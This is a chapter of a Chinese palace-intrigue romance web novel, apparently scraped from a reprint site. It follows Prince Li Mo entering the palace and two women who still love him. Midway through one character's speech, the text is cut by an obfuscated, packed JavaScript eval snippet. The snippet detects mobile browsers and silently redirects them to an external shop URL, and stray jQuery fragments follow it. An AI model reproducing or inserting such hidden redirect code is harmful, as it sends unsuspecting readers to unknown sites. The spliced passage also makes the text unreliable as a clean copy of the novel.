第5章 那一点守宫砂,清晰可见
    “啪嗒——”

    当李墨吟出的那两个字传入穆云璎耳畔的刹那,她的长枪掉落在地上,发出沉闷的声响。

    她以为李墨要说的秘密是两人三年前“师徒”这层身份下的禁忌与不伦之恋。

    可…她没想到李墨说出的是她身体的特点,白,白…

    后面那个“动物”的字眼她难以启齿。

    穆云璎的确是这样,而且这件事儿曾只有她一人知道。

    那是在她刚刚十五岁时,她意识到了自己的不同,为什么别人会长出来的,她却没有…而她觉得这是不祥的,她也生怕被别人品头论足。

    所以,十五岁后…便是寻常的沐浴,她都没有招呼过一个女婢。

    但,无疑…因为她与李墨这一层“师徒间”的禁忌之恋。

    李墨是知道这个秘密的。

    甚至,还是李墨告诉她,这是一种极其珍贵的,是男人视若珍宝的…

    也正是如此,后来…穆云璎再没有过多去介意过这个。

    甚至因为李墨这样说,还让她更自信了不少。

    偏偏,此时此刻,当那两个字在这样的情形下从李墨的口中传出,无疑,那往昔巨大的担忧,那异类一般的羞耻感,又一次涌上了她的心头,更是让她的面靥刹那间绯红一片。

    或许,对于她曾深爱的男人而言…这是视若珍宝的。

    但…若是对外人,若是公之于众,这却是一种别样、藏匿不住的羞耻啊!

    “你…你一定要逼我么?”

    “我只是不想伤到你,现在,让你的人让开——”

    李墨的话前半句是轻柔细慢的,可后半句便如同命令。

    仿佛,无论是谁,今日都不可能阻拦他分毫。

    终于,穆云璎还是让开了。

    尽管她有这样强烈的感觉,她的秘密,李墨是不可能公之于众的。

    或者…与其说是她忌惮于自己身体的秘密,不如说…哪怕过了三年,那个穆家的小郡主成长为大夏帝国的女将军,可在曾经的师傅、曾经深爱的人面前,她还是无法做到彻底的铁血与无情,还是习惯于跟在他身后,就这么静静的…看着他搞定一切。

    曾几何时,在她眼里,师傅李墨就是无敌的。

    三年前如此,三年后还是如此——

    “谢了。”

    李墨最后摸了摸穆云璎的额头,不忘为她将那因为紧张而纷飞的发丝收束。

    当然,这样的动作,看在一众女骑的眼中,却有几许挑衅、戏谑的味道。

    而这样的动作也只停留了片刻,李墨再度吩咐身后一干卫士。

    “披甲,持剑,我们入宫——”

    一时间,铿锵的脚步声再度响起,李墨一马当先,五十卫士紧随其后,千余女骑只得目送他们进入这宫城。

    直到这些人消失在宫门,这些巾帼营女骑方才开口探问。

    “穆将军?我们就这么让他们进去?”

    “穆将军,陛下那里,如何交代?”

    穆云璎没有回话。

    她们并没有听到李墨与穆云璎交谈的内容,只看到将军的兵器因为紧张而掉落,却不知道发生了什么。

    又有副将诋毁似的抱怨道:“这靖王什么东西,三年前在长安便时时留情,处处沾花惹草,如今出征在外,还不知道又糟蹋了多少姑娘…穆将军,为这样的人不(值得)…”

    她本是见穆云璎这副失魂落魄的摸样,想要讨个好,为将军出头抱怨几句。

    哪曾想,不等她话落下…

    “闭嘴——”

    狠厉的声音自穆云璎口中喊出,与之同时的,还有更狠厉的一个来自这位巾帼营统领的巴掌,就这么重重的扇在那副将的脸上。

    不过显然,穆云璎余怒未消,她瞪着这副将,狠狠的说,“你什么东西?也配对靖王品头论足?拉下去,逐出巾帼女营,永不录用——”

    此言一出…

    整个巾帼女营悉数沉默了。

    原本的哗然,一下子寂静无声——

    仿佛直到这时,她们才意识到,靖王没变,还是那个霸道的帝子,但…穆云璎将军一样没有变,她还会如三年前那般处处维护着靖王,不容许有人诋毁她的师傅,她曾经的情郎分毫。

    可造化弄人。

    她偏偏又是陇西穆家的长女,五姓七望…她家族的立场注定,现在的她必须坚定的站在女帝这边。

    这是绝对无法转圜的——

    …

    …

    在帝都长安的心脏地带,矗立着一座宏伟壮观的建筑。

    那镶着金边的牌匾中,硕大的“盛世繁华”四个字清晰可见,熠熠生辉。

    这便是大夏帝国最大商行。

    也是传言中,它的背后是朝廷,是女帝的商行。

    ——泽海商行!

    而与泽海商行名气与神秘相当的则是此间商行的美女掌事慕容品夏。

    相传,许多大商贾许以重利想要求见她一面,但结果,事与愿违…她除了泽海商会中的高层外,谁都不见。

    照理来说,平日的这个时辰,慕容品夏会翻阅各个行当的账目,然后用那敏锐的眸子觉察出商行或明或暗的问题,思索对策

    。

    可今日的她…很不一样。

    那繁琐如山的账目堆在案几上,她看都没有看过一眼。

    与平素截然相反,格外激动的她一把扯下了脸上的黑纱,将那张精美绝伦的面颊展露了出来,而那瞪大的眸子里遍布着复杂到极致的神色。

    至于缘由,就在刚刚,她的助手将靖王回长安的消息告诉了她。

    也便是从那一刻起,慕容品夏的神色大变。

    屏退了助手,阖上了门子,独自一人在那书房中,她的手紧紧的握住,也不知道是因为紧张,还是激愤。

    终于…她那攒起的拳头重重的砸在面前如山的账本上。

    她再也遏制不住,仿佛三年来的委屈在这一刻彻底倾泻…

    “呜呜——”

    “呜呜——”

    这个神秘的女掌事,抱头哭了起来。

    一边哭,一边吟道:“靖王,你还知道回来…你还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14238723|151432||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    知道回来?你知道这三年我…我是怎么熬过来的?你知道这三年女帝逼的多紧?我替你守住这泽海商会…受了多少委屈,流了多少泪?你知道吗?你知道吗?”

    哭着哭着,她又笑了,一改那小女人的委屈,似是因为靖王归来这件事儿也让她兴奋与惊喜,“回来了就好…回来了就好…”

    慕容品夏!

    明面上,她是女帝继位后,大夏商界中第一个臣服女帝,带商会效忠女帝的掌事,掌握着整个帝国半数的财富;

    暗地里,自从三年前与靖王李墨失联以来,她忍辱负重,就是为了留下火种,替李墨守住他一手建立起的商会,等到他归来的那天。

    云中谁寄锦书来?是啊…云中没有锦书,也没有信…

    鬼知道,李墨还会不会回来?

    鬼知道,她怎么坚守的,怎么熬到这一天!

    就在这时,门外传来“踏踏”的脚步声,是慕容品夏的助手归来,隔着门子说:

    “慕容掌事,已经打探清楚了,三十万大夏龙骑在潼关安营,靖王只带亲卫在祭拜过武帝后直接入宫了…慕容掌事,咱们有女帝的令牌可随时入宫…是否现在也动身入宫?”

    “啊…”短暂惊愕下的呼声。

    但只是一刹,数年执掌商行,练就了慕容品夏超凡的观察力、敏锐的洞悉力,还有那最理智的判断力。

    她迅速的让自己冷静下来,仔细的思索过一番后,方才吩咐说:“不忙着进宫,先从泽北商行中调集粮食,秘密运出城,运到靖王的驻军处…三十万大夏龙骑不能断粮!还有,最后的那批军械也不用等了,可以直接运往靖王的封地。”

    “啊…”助手一惊,深咽了口口水,似是听出了什么,“慕容掌事是觉得…靖王此番入宫…会输?”

    回应她的是迅速推开的书房大门,还有慕容品夏那盈盈眼波,似水眼澄下无比深邃的眸色。

    “我不知道他会不会赢。”

    “他能否胜过那女帝,我也无能为力。”

    “但这泽海商行,我必须替他守住,还有那粮食,只要靖王军中有粮,我想女帝也不敢为难于他,我一个商行掌事能做的,也只有替他准备好退路了…这是我欠他的。”

    一番极其理智的分析。

    说话间,那雪藕般的白臂轻轻的挥动了下,上臂正中一点的守宫砂清晰可见。

    这守宫砂,她本想在五年前就心甘情愿的献给靖王李墨——

    没错,是“心甘情愿”的“献给”——

    但最终被李墨拒绝,他不想慕容品夏用这个报恩。

    却恰恰因此,慕容品夏越发坚定,靖王对他的恩情…无论如何是要还的。

    哪怕是背负、隐忍、被人误解——

    “靖王。”

    “你可千万…千万……”

    无数次心头的悸动,慕容品夏心头不断地喃喃,她甚至双手合十,在为李墨祈祷。

    祈祷这一次闯宫,靖王能全身而退,安然无恙——

    而她在乎的,也唯有靖王的无恙、安康——

    …

    …